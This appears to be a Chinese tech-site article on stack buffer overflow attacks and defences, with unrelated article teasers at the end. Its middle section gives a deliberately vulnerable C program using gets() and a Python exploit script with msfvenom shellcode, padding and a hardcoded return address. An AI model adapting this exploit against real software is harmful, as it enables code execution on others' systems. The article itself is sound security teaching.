news 2026/4/16 12:38:04

栈溢出攻击原理与防御

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
栈溢出攻击原理与防御

栈溢出攻击原理与防御

栈的结构与特性

栈(Stack)是用于存储函数调用过程中局部变量、参数、返回地址以及保存的寄存器值的内存区域。每次函数调用时,系统会在栈上分配一个栈帧。栈的生长方向是从高地址向低地址,而缓冲区数据的写入方向通常是从低地址向高地址,这一矛盾是栈溢出攻击得以实现的关键。

漏洞形成原理

函数调用时,返回地址被保存在栈帧中,以保证函数执行完毕后能正确返回到调用位置。如果程序在编写时未对缓冲区大小进行严格检查,攻击者通过输入超长数据可以覆盖栈上的返回地址。若精心构造输入数据,将返回地址修改为预先植入的恶意代码(shellcode)地址,即可劫持程序执行流程,造成安全漏洞。

栈帧的典型布局如下:

低地址 +------------------+ | 局部变量 | | buffer[N] | +------------------+ | 保存的 EBP | +------------------+ | 返回地址 | +------------------+ | 函数参数 | +------------------+ 高地址

漏洞复现实例

示例代码

编译时需关闭以下防护选项:

  1. ASLR(地址空间布局随机化)
  2. Stack Canary(/GS 安全检查)
  3. DEP/NX(数据执行保护)
#include<stdio.h>#include<string.h>#include<windows.h>#include<stdlib.h>__declspec(noinline)voidvulnerable(){charbuffer[64];printf("[+] 缓冲区地址: 0x%p\n",buffer);gets(buffer);// 危险函数,不检查输入长度printf("[+] 输入内容: %s\n",buffer);}intmain(){printf("=== 栈溢出演示程序 ===\n");printf("[+] 按 Ctrl+C 退出\n");printf("[+] 输入超长字符串触发溢出\n\n");while(1){vulnerable();}return0;}

攻击脚本

if__name__=="__main__":# 使用 msfvenom 生成的 shellcode,弹窗示例shellcode=b""shellcode+=b"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52"shellcode+=b"\x30\x8b\x52\x0c\x89\xe5\x8b\x52\x14\x31\xff\x8b"shellcode+=b"\x72\x28\x0f\xb7\x4a\x26\x31\xc0\xac\x3c\x61\x7c"shellcode+=b"\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52"shellcode+=b"\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"shellcode+=b"\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x01\xd3\x50"shellcode+=b"\x8b\x48\x18\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x01"shellcode+=b"\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38"shellcode+=b"\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58"shellcode+=b"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"shellcode+=b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b"shellcode+=b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12"shellcode+=b"\xe9\x80\xff\xff\xff\x5d\xe8\x0b\x00\x00\x00\x75"shellcode+=b"\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00\x68\x4c"shellcode+=b"\x77\x26\x07\xff\xd5\x6a\x00\xe8\x06\x00\x00\x00"shellcode+=b"\x50\x77\x6e\x65\x64\x00\xe8\x07\x00\x00\x00\x48"shellcode+=b"\x61\x63\x6b\x65\x64\x00\x6a\x00\x68\x45\x83\x56"shellcode+=b"\x07\xff\xd5\x6a\x00\x68\xf0\xb5\xa2\x56\xff\xd5"padding=b'\xeb\x46'# 短跳转指令padding+=b'A'*(62+4)# 填充至返回地址前ret_addr=b'\xe4\xee\x19\x00'# 覆盖的返回地址(示例)payload=padding+ret_addr+b'\x90'*0x10+shellcodewithopen('payload.bin','wb')asf:f.write(payload)

提示:可使用msfvenom生成 shellcode,例如:

msfvenom-pwindows/messageboxTEXT="Hacked"TITLE="Pwned"-fpy-ax86

执行方式

stackoverflow.exe < payload.bin

执行成功后,将触发预设的 shellcode,例如弹窗提示:

常见防护机制

ASLR(地址空间布局随机化)

ASLR 使栈、堆和动态库的加载地址在每次程序运行时随机变化,攻击者难以预测关键地址,从而阻止基于固定地址的攻击。

Stack Canary(栈保护)

编译器在缓冲区与返回地址之间插入一个随机值(Canary)。函数返回前校验该值是否被修改,若检测到溢出则终止程序。

+------------------+ | 返回地址 | +------------------+ | Canary | ← 溢出覆盖会触发检测 +------------------+ | 局部变量 | +------------------+

DEP/NX(数据执行保护)

将栈、堆等数据区域标记为不可执行,即使攻击者成功注入 shellcode 并跳转至该区域,CPU 也会拒绝执行,抛出异常。

程序防护实践

栈溢出攻击通常依赖于对目标程序的逆向分析,包括定位危险函数、分析栈布局与计算偏移量。因此,增强程序的反逆向能力可作为有效的防御补充。使用保护工具如Virbox Protector可实现以下防护:

防止静态分析

  • 代码虚拟化:将关键函数转换为私有指令集,使反汇编结果难以理解
  • 代码混淆:通过控制流平坦化与虚假分支干扰分析逻辑
  • 代码加密:代码段加密存储,运行时动态解密
  • 导入表保护:隐藏外部函数依赖,增加定位危险函数的难度
  • 移除调试信息:清除符号表与函数名,提升逆向成本

防止动态调试

  • 调试器检测:识别调试器附加行为,并采取终止或反制措施
  • 内存完整性校验:运行时检查代码段是否被修改或设置断点

通过理解栈溢出原理、熟悉攻击手法,并采取相应的编译选项与代码保护措施,可显著提升软件的安全性,防范此类经典内存漏洞的利用。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/13 16:01:11

教育照明如何优化,关键参数全解析

于教育照明此领域里&#xff0c;专业的灯具解决方案&#xff0c;对营造健康学习环境极关键。近年来&#xff0c;随社会各界对学生视力健康问题愈发关注&#xff0c;教室光环境质量&#xff0c;成学校建设与改造時重点。专业教育照明&#xff0c;不止提供充足亮度&#xff0c;更…

作者头像 李华
网站建设 2026/4/11 20:36:00

GLM-TTS依赖环境配置:Miniconda虚拟环境激活步骤详解

GLM-TTS依赖环境配置&#xff1a;Miniconda虚拟环境激活步骤详解 在当今AI语音合成技术飞速发展的背景下&#xff0c;零样本语音克隆&#xff08;Zero-shot Voice Cloning&#xff09;正逐步从实验室走向实际应用。像GLM-TTS这样的先进模型&#xff0c;不仅支持高保真语音生成、…

作者头像 李华
网站建设 2026/4/15 5:08:47

语音数据隐私保护:GLM-TTS处理敏感信息的安全措施

语音数据隐私保护&#xff1a;GLM-TTS处理敏感信息的安全措施 在医疗咨询录音、金融客服语音、司法听证存档等高敏场景中&#xff0c;一段短短几秒的音频可能就包含了足以识别个人身份的声纹特征。随着零样本语音克隆技术的成熟&#xff0c;像 GLM-TTS 这样的先进 TTS 系统能够…

作者头像 李华
网站建设 2026/4/16 1:48:43

GLM-TTS输入文本长度限制是多少?分段处理策略建议

GLM-TTS输入文本长度限制与分段处理策略 在有声书、在线课程和AI播客日益普及的今天&#xff0c;用户对高质量语音合成的需求已经从“能说话”转向了“说得好、说得久”。GLM-TTS作为新一代支持零样本音色克隆的TTS系统&#xff0c;凭借其出色的音质还原能力和情感表达灵活性&…

作者头像 李华
网站建设 2026/4/11 15:45:28

基于SpringBoot的学生选课成绩信息管理系统vue

目录系统概述核心功能技术亮点应用价值关于博主开发技术介绍核心代码参考示例1.建立用户稀疏矩阵&#xff0c;用于用户相似度计算【相似度矩阵】2.计算目标用户与其他用户的相似度系统测试总结源码文档获取/同行可拿货,招校园代理 &#xff1a;文章底部获取博主联系方式&#x…

作者头像 李华